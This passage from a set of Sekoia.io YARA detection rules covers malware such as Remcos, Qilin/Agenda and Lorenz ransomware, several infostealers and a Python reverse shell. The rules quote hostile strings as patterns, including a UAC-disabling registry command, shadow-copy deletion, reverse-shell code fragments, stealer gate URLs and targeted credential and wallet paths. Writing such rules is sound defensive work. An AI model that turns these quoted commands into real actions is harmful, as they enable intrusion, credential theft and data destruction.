		uint16( 0 ) == 0x5A4D and 10 of ( $str* )
}

rule SEKOIA_Rat_Win_Remcos : FILE
{
	meta:
		description = "DEPRECATED : Find Remcos RAT samples based on specific strings"
		author = "Sekoia.io"
		id = "011132f5-c5d9-4e97-bfed-0b94c9a30481"
		date = "2023-01-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_remcos.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "259f31d745449dc81cde698bb0ae4a20b4bbf050a1c818fbb5a891f26ca2e856"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		modification_date = "2024-01-08"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "/k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f" ascii
		$str02 = "Disconnection occurred, retrying to connect..." ascii
		$str03 = "[Following text has been pasted from clipboard:]" ascii
		$str04 = "[Following text has been copied to clipboard:]" ascii
		$str05 = "[Chrome StoredLogins found, cleared!]" ascii
		$str06 = "PING 127.0.0.1 -n 2" ascii
		$str07 = "Remcos_Mutex_Inj" ascii
		$str08 = " * REMCOS v" ascii
		$str09 = "Connected to C&C!" ascii
		$str10 = "[Cleared all cookies & stored logins!]" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}




rule SEKOIA_Generic_Sharpshooter_Payload_3 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "57b3ca9a-59c5-4b28-8eb9-36ff5b3633c2"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_3.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ef62075c804080c0450f856b768da84a32f20e2f1ce5714e477b3e6f01d60503"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Function RC4(byteMessage, strKey)"
		$ = "Sub Run()"
		$ = "plain = RC4(decoded, "
		$ = "Dim plain"
	condition:
		all of them and filesize < 2MB
}


rule SEKOIA_Launcher_Win_Romcom_Launcher : FILE
{
	meta:
		description = "Detect the launcher of RomCom malware"
		author = "Sekoia.io"
		id = "e8fa8239-a763-4be2-8f34-8e112e65b35e"
		date = "2022-11-04"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/launcher_win_romcom_launcher.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7d94f187c3fb85cbfe961dd3b292dc1abd36a8cee7c9ff9ec08c4c1e23d38588"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = {43 3a 5c 55 73 65 72 73 5c 31 32 33 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 69 6e 73 5f 61 73 69 5c 57 69 6e 33 32 5c 52 65 6c 65 61 73 65 5c 73 65 74 75 70 2e 70 64 62}
	condition:
		uint16( 0 ) == 0x5A4D and all of them
}

rule SEKOIA_Crime_Sload_Powershellarchiveexfiltrator_Strings : FILE
{
	meta:
		description = "No description has been set in the source file - SEKOIA"
		author = "Sekoia.io"
		id = "3934696a-2116-49cb-9f75-3740767ad6f3"
		date = "2022-08-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/crime_sload_powershellarchiveexfiltrator_strings.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7d6234ced7e5915a5b27ce2065772c74adb5c2398a8c972421fb5ec6b1b7771f"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "if ($wr1 -or $wr2){"
		$ = "if ($zp1 -or $zp2){"
		$ = "-join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_});"
	condition:
		all of them and filesize < 1KB
}



rule SEKOIA_Infostealer_Win_Nemesis_In_Memory : FILE
{
	meta:
		description = "Finds Nemesis Stealer samples based on specific strings, from samples without strings obsucation, or from memory"
		author = "Sekoia.io"
		id = "01d85bd5-ea93-44ff-b36a-9cd9eb54d634"
		date = "2023-03-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_nemesis_in_memory.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "65d2dd9a10238e6d65d8992aa9cc145f73bcba9be49ed552f8b0c44723ec4c87"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "NemesisProject.Modules." ascii
		$str02 = "~[NEMESIS INIZIALIZE]~" wide
		$str03 = "Clip_BoardText.txt" wide
		$str04 = "stealer_out.zip" wide
		$str05 = "<span style=\"color:#FFFFFF\">Number of running processes:</span>" wide
		$str06 = "<span style=\"color:#FFFFFF\">Installed FireWall: </span>" wide
		$str07 = "~[Panel_Receiving_Data]~ Incorrect data when receiving data on the panel" wide
		$str08 = "ProcessInfo_Log.txt" wide
		$str09 = "Installed_Software_Log.txt" wide
		$str10 = "Detect Data ClipBoard] - [ {DateTime.Now:MM.dd.yyyy - HH:mm:ss}]" wide
		$str11 = "VPN/ProtonVPN_Log.txt" wide
		$str12 = "VPN/Nord_Log.txt" wide
		$str13 = "Steam/SteamID_Log.txt" wide
	condition:
		uint16( 0 ) == 0x5A4D and 6 of them
}

rule SEKOIA_Launcher_Win_Stealthmutant_Bat_Launcher : FILE
{
	meta:
		description = "StealthMutant/StealthVector bat launcher"
		author = "Sekoia.io"
		id = "7452291f-2244-469e-bb7c-5eff1ca17aa2"
		date = "2021-08-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/launcher_win_stealthmutant_bat_launcher.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "06ae4bc3ed938738dfca10c182a6a2363aa6aa70e730aefd41f6fe73c675785d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "set \"WORK_DIR=" ascii
		$s2 = "set \"DLL_NAME=" ascii
		$s3 = "set \"SERVICE_NAME=" ascii
		$s4 = "set \"DISPLAY_NAME=" ascii
		$s5 = "set \"DESCRIPTION=" ascii
		$start = "@echo off" ascii
		$end = "net start \"%SERVICE_NAME%\"" ascii
	condition:
		uint16( 0 ) != 0x5A4D and all of ( $s* ) and filesize < 2KB and $start at 0 and $end in ( filesize -30 .. filesize )
}

rule SEKOIA_Apt_Apt28_Document_Phishing_Webpage : FILE
{
	meta:
		description = "Detects APT28 document phishing webpage"
		author = "Sekoia.io"
		id = "585a8e23-c302-41d3-938f-eda60c82ef28"
		date = "2024-04-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt28_document_phishing_webpage.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b64888c1d8568cf9d8f4dfcd2e18093db8635966d88abaa368dc46a1e4453782"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "webhook.site"
		$ = "document.createElement('img')"
		$ = "brightness(15%) blur(7.0px)"
		$ = "This document is not available from mobile devices."
		$ = "Capture2.PNG"
		$ = ">CLICK TO VIEW DOCUMENT<"
		$ = "window.location.href = 's"
		$ = ".oast."
	condition:
		4 of them and filesize < 20KB
}




rule SEKOIA_Ransomware_Win_Agenda : FILE
{
	meta:
		description = "Finds Agenda ransomware (aka Qilin) samples based on characteristic strings"
		author = "Sekoia.io"
		id = "b0ea8e69-8f29-452f-95f7-67ee0e545b66"
		date = "2022-12-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_agenda.yar#L1-L26"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7e315f639c4d785639bf7ed3bd805551366b4da10a664a42bf801c54c6f7bd2d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str00 = "\"note\": \"-- Qilin" ascii
		$str01 = "README-RECOVER-.txt" ascii
		$str02 = "\"file_black_list\": [" ascii
		$str03 = "\"file_pattern_black_list\": [" ascii
		$str04 = "Encrypted files have new extension." ascii
		$str05 = "We have downloaded compromising and sensitive data from you system/network" ascii
		$str06 = "Employees personal dataCVsDLSSN." ascii
		$str07 = "ueegj65kwr3v3sjhli73gjtmfnh2uqlte3vyg2kkyqq7cja2yx2ptaad.onion" ascii
		$str08 = "cmdvssadmin.exe delete shadows /all /quiet" ascii
		$str09 = "[WARNING] Removing shadows failed." ascii
		$str10 = "[INFO] Shadow copies removed" ascii
		$str11 = "[WARNING] net sahre enum failed with:" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}



rule SEKOIA_Infostealer_Win_Xehook_Str : FILE
{
	meta:
		description = "Finds XehookStealer standalone samples based on specific strings."
		author = "Sekoia.io"
		id = "fa76988d-f0a2-4fc2-a122-c104fd585f34"
		date = "2024-06-12"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_xehook_str.yar#L1-L32"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "543ec3b523e5f00d3c285e453c8d11f3d5c7778b2986b7fe03f2d62ff18c2778"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "xehook" ascii
		$str02 = "Classes.LogRecord" ascii
		$str03 = "__  _____| |__   ___   ___ | | __" wide
		$str04 = "\\ \\/ / _ \\ '_ \\ / _ \\ / _ \\| |/ /" wide
		$str05 = " >  <  __/ | | | (_) | (_) |   <" wide
		$str06 = "/_/\\_\\___|_| |_|\\___/ \\___/|_|\\_\\" wide
		$str07 = "https://t.me/xehook" wide
		$str08 = "About PC.txt" wide
		$str09 = "Browser: {4} v{5} ({6})" wide
		$str10 = "http://ip-api.com/json/?fields=11827" wide
		$str11 = "{0}gate.php?id={1}&build={2}&passwords={3}&cookies={4}" wide
		$str12 = "getjson.php?id=" wide
		$com01 = "CheckRemoteDebuggerPresent" ascii
		$com02 = "get_CurrentThread" ascii
		$com03 = "get_InstalledInputLanguages" ascii
		$com04 = "get_Ticks" ascii
		$com05 = "System.Security.Cryptography" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 2 of ( $str* ) and 4 of ( $com* )
}

rule SEKOIA_Generic_Sharpshooter_Payload_7 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "de8069bb-59d7-4753-974a-f77c4b9e9bae"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_7.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "27b5f3d24f7269e80b628be044d828d365fdba25891a5a1ecc973c419cf1dc6c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "ms.Write(ba, 0, (length / 4) * 3)"
		$ = "var serialized_obj = "
		$ = "var n = fmt.SurrogateSelector;"
		$ = "var o = d.DynamicInvoke(al.ToArray())"
	condition:
		all of them and filesize < 2MB
}

rule SEKOIA_Apt_Cloudatlas_Powershower_Clean : FILE
{
	meta:
		description = "Detects clean version of PowerShower"
		author = "Sekoia.io"
		id = "4a7c37df-3f53-4190-a86f-94bba3df628e"
		date = "2022-12-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_cloudatlas_powershower_clean.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "24ea6ec0cd8dbcebdf7e42dbd48319562d8682fefd5d0d464a3a5c4b90be40f3"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "[io.file]::WriteAllBytes($zipfile" ascii wide
		$ = "System.IO.File]::Exists($p_t" ascii wide
		$ = "HttpRequestP" ascii wide
		$ = "$http_request.getOption(2)" ascii wide
		$ = "HttpRequestP($url)" ascii wide
	condition:
		uint8( 0 ) == 0x24 and filesize < 4000 and 4 of them
}

rule SEKOIA_Apt_Luckymouse_Compromised_Electronapp : FILE
{
	meta:
		description = "Detects compromised ElectronApp"
		author = "Sekoia.io"
		id = "7702217d-771f-47af-8eaa-d5acf1e14f4d"
		date = "2022-08-05"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_luckymouse_compromised_electronapp.yar#L1-L15"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "939546b75d5f7161bb8eb1fd838a9a7c0c88cb58a0f01f67e687523e5b31b0aa"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s = "module.exports=function(t){eval(function(p,a,c,k,e,r)"
	condition:
		$s at 0 and filesize < 100KB
}

rule SEKOIA_Tool_Generic_Python_Reverse_Shell_Strings : FILE
{
	meta:
		description = "Detects reverse shell"
		author = "Sekoia.io"
		id = "5b926d15-4f21-428c-a9fa-ee085a98d42b"
		date = "2024-04-16"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_generic_python_reverse_shell_strings.yar#L1-L16"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "bb4fcef595f4be035815f536786987ac1343727f16c0560a1cb593e854ba8f17"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "import sys,socket,os,pty;"
		$ = "[os.dup2(s.fileno(),fd) for fd in (0,1,2)]"
	condition:
		all of them and filesize < 1000
}

rule SEKOIA_Hacktool_Win_Cookiekatz : FILE
{
	meta:
		description = "Finds ChromeKatz (CookieKatz version) standalone samples based on the strings"
		author = "Sekoia.io"
		id = "a32769bb-4ec4-46c7-9402-21afdf8d4293"
		date = "2024-10-30"
		modified = "2024-12-19"
		reference = "https://github.com/Meckazin/ChromeKatz"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/hacktool_win_cookiekatz.yar#L1-L36"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "fef9fc33a788489af44b2f732c450d4ef018fbaced7f5471230b282dfd6f1169"
		logic_hash = "a030f551d0f3dedf0f19e22b415aa87dd1c43ab2242db8b5cad14ae6b7695b3a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "CookieKatz.exe" ascii
		$str02 = "--utility-sub-type=network.mojom.NetworkService" wide
		$str03 = "chrome.dll" wide
		$str04 = "msedge.dll" wide
		$str05 = "msedgewebview2.exe" wide
		$str06 = "Failed to read cookie struct" wide
		$str07 = "Failed to read the root node from given address" wide
		$str08 = "Error reading left node" wide
		$str09 = "By Meckazin" ascii
		$str10 = "By default targets first available Chrome process" ascii
		$str11 = "Kittens love cookies too!" ascii
		$str12 = "Attempting to read the cookie value from address: 0x%p" ascii
		$str13 = "szCookieMonster" ascii
		$str14 = "[*] Targeting Chrome" ascii
		$str15 = "[*] Targeting Edge" ascii
		$str16 = "[*] This Cookie map was empty" ascii
		$str17 = "[+] Found browser process: %d" ascii wide
		$str18 = "[*] Targeting process PID: %d" wide
		$str19 = "[*] Found CookieMonster on 0x%p" wide
		$str20 = "[*] CookieMap should be found in address 0x%p" wide
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}

rule SEKOIA_Ransomware_Win_Lorenz : FILE
{
	meta:
		description = "Detect the Lorenz ransomware"
		author = "Sekoia.io"
		id = "6936cc61-efe5-4d13-b76f-e808ab331457"
		date = "2022-02-10"
		modified = "2024-12-19"
		reference = "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/ransomware_win_lorenz.yar#L1-L27"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "355de0f172c9e877bbca7f75c0bfb07d83ae7f43e7674a7f84c4e4d519dfa7c0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.1"
		classification = "TLP:CLEAR"
	strings:
		$s1 = ".onion" ascii
		$s2 = "---===Lorenz. Welcome. Again. ===--" ascii
		$s3 = ".Lorenz.sz40" ascii
		$url1 = "egypghtljedbs3x3ui45tfhosakzb376epl7baq2ruzfyewcypswhgqd.onion" ascii
		$url2 = "lorenzmlwpzgxq736jzseuterytjueszsvznuibanxomlpkyxk6ksoyd.onion" ascii
		$url3 = "vsoonropylvbfqnq2urk7uhaxn7afiwgldnj3ntc743awigojm4p7lid.onion" ascii
		$url4 = "kpb3ss3vwvfejd4g3gvpvqo6ad7nnmvcqoik4mxt2376yu2adlg5fwyd.onion" ascii
		$url5 = "vldkrmiqriwlgm2wuxg42nvc6kqsdzsdhsybn27hyn34d66465fxz7id.onion" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 900KB and filesize < 1200KB and ( all of ( $s* ) or 1 of ( $url* ) )
}

rule SEKOIA_Darkriver_Encodedurl : FILE
{
	meta:
		description = "Detects encoding URL inside docx documents"
		author = "Sekoia.io"
		id = "60f1676f-dade-4376-9980-f510dff52ae5"
		date = "2023-10-10"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/darkriver_encodedurl.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "9477ec39cc1d4cfad676d071748e7e1918a3996b342663cb0a01658846bbf9f5"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
		hash1 = "5c9551388213f54c4b54cd42ccb034d8d9173a4bbfcf8b666e0db8df929762e7"
		hash1 = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
		hash1 = "3b05e89ff2338472cc493d59bae450338effd29f0ed7d46fb999709e63cf2472"
	strings:
		$s1 = "&#109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#116;&#112;"
		$s2 = "&#38;&#95;&#116;&#115;&#61;"
		$header = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"
	condition:
		filesize < 500KB and any of ( $s* ) and $header at 0
}

rule SEKOIA_Rat_Win_Konni_Rat : FILE
{
	meta:
		description = "Detect the KONNI RAT DLL files (x32 and x64)"
		author = "Sekoia.io"
		id = "032f1c79-6f03-4588-a4af-38b1f3ca1cb8"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_konni_rat.yar#L1-L25"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "764e75d3e433a8784e826f436896c50c9622129412ff277b55ec9aaf1402ff5e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ".cab" wide
		$ = ".zip" wide
		$ = ".rar" wide
		$ = ".ini" wide
		$ = ".dat" wide
		$ = "%s(%d)" wide
		$ = "%s %s \"%s\"" wide
		$ = "\\Temp\\" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them and filesize > 60KB and filesize < 120KB
}

rule SEKOIA_Loader_Win_Bumblebee : FILE
{
	meta:
		description = "Detect BUMBLEBEE based on specific strings"
		author = "Sekoia.io"
		id = "ff36f512-c700-4f52-bc89-68ab9c69462c"
		date = "2022-04-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_bumblebee.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "97755e8d593acbc9acc8ce7f1a82a345fc7eea049addbb96577f6abc1b6d5fd6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "Z:\\hooker2\\Common\\md5.cpp" wide
		$str1 = "3C29FEA2-6FE8-4BF9-B98A-0E3442115F67" wide
		$str2 = "bumblebee" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 2 of them
}

rule SEKOIA_Tool_Powershell_Unicorn : FILE
{
	meta:
		description = "Detects Unicorn Powershell"
		author = "Sekoia.io"
		id = "287c1669-2ee1-488e-bf66-a99bfe309c90"
		date = "2022-08-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_powershell_unicorn.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8be79789cf77d4f304d9fef4ad6a2d2ac7686b015fff3301fb3e369f2f06230a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ").value.toString() ('JAB" ascii wide
		$ = ").value.toString());powershell (" ascii wide
		$ = "powershell /w 1 " ascii wide
	condition:
		all of them and filesize < 100KB
}

rule SEKOIA_Apt_Tealkurma_Snappytcp_Strings : FILE
{
	meta:
		description = "Detects TealKurma SnappyTCP shell script"
		author = "Sekoia.io"
		id = "6bbee6d6-f490-4550-bd61-a643f93a8788"
		date = "2023-12-08"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_tealkurma_snappytcp_strings.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b91adef3332850d952cace104fc05e1b09e6175a27ae991905defc46de608e88"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "#!/bin/bash" ascii
		$s2 = "2>&1>/dev/null&" ascii
		$s3 = "PATH=$PATH:$PWD;" ascii
	condition:
		$s1 at 0 and $s2 at filesize -16 and $s3 and filesize < 300
}

rule SEKOIA_Apt_Badmagic_Ld_Dll_Loader_Pshscript : FILE
{
	meta:
		description = "Detects BadMagic DLL Loader powershell script"
		author = "Sekoia.io"
		id = "d4a23afc-693f-4fab-b2c4-15eecba047f7"
		date = "2023-05-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_badmagic_ld_dll_loader_pshscript.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "8482521fe1f90c008948e551df35448b870145cf8b58f3c5019cafb66bb0ae36"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "$ModulePath = \"$folder_path\\$name"
		$ = "$ModuleExport ="
		$ = "start-job -ScriptBlock $ScriptBlock"
		$ = "Invoke-WebRequest -Uri"
	condition:
		all of them and filesize < 1KB
}


rule SEKOIA_Infostealer_Win_44Caliber : FILE
{
	meta:
		description = "Finds samples of the 44Caliber stealer"
		author = "Sekoia.io"
		id = "44e5bbc1-f442-47d3-8431-25182f38439d"
		date = "2022-03-08"
		modified = "2024-12-19"
		reference = "https://github.com/razexgod/44CALIBER"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_44caliber.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "4b80d6b2116f53926897aa79a7c232413974caefaf524f50e6a7cede11f3aaa0"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "44 CALIBER" fullword ascii
		$str1 = "https://api.vimeworld.ru/user/name/" wide
		$str2 = "https://freegeoip.app/xml/" wide
		$str3 = "SOFTWARE\\Wow6432Node\\Valve\\Steam" wide
		$str4 = "VPN\\NordVPN\\\\accounts.txt" wide
		$str5 = "OpenVPN Connect\\profiles" wide
		$str6 = "FuckTheSystem Copyright" wide
		$str7 = "lolz.guru" wide
		$str8 = "xss.is" wide
		$str9 = "Test message recieved successfully! :raised_hands:" wide
		$str10 = "Specify a single character: either D or F" wide
	condition:
		uint16( 0 ) == 0x5A4D and 9 of ( $str* ) and filesize > 100KB and filesize < 1MB
}

rule SEKOIA_Infostealer_Win_Lighting : FILE
{
	meta:
		description = "Detect the Lighting infostealer based on specific strings"
		author = "Sekoia.io"
		id = "3c160c16-f417-4fa2-aa44-fb7b981fb2b3"
		date = "2022-04-07"
		modified = "2024-12-19"
		reference = "https://blog.cyble.com/2022/04/05/inside-lightning-stealer/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_lighting.yar#L1-L40"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "1c1d39ce886a433a352c55bf436b959ef528ad7ce38027243ed5b5f1ac79822f"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "\\logins.json" wide
		$str1 = "key3.db" wide
		$str2 = "\\key4.db" wide
		$str3 = "cert9.db" wide
		$str4 = "\\places.sqlite" wide
		$str5 = "7D78CB380BF5EFB7B851409CA6A875F77DECF09D19B9149DA17A3EBF674BC0F9" ascii
		$str6 = "potentiallyVulnerablePasswords" wide
		$dll0 = "\\mozglue.dll" wide
		$dll1 = "\\nss3.dll" wide
		$dll2 = "SbieDll.dll" wide
		$app00 = "\\discord\\Local Storage\\leveldb\\" wide
		$app01 = "Software\\Valve\\Steam" wide
		$app02 = "Telegram Desktop\\tdata" wide
		$app03 = "\\Wallets\\Armory\\" wide
		$app04 = "\\Wallets\\Atomic\\Local Storage\\leveldb\\" wide
		$app05 = "\\Exodus\\exodus.wallet\\" wide
		$app06 = "\\Wallets\\Zcash\\" wide
		$app07 = "uCozMedia\\Uran" wide
		$app08 = "Comodo\\IceDragon" wide
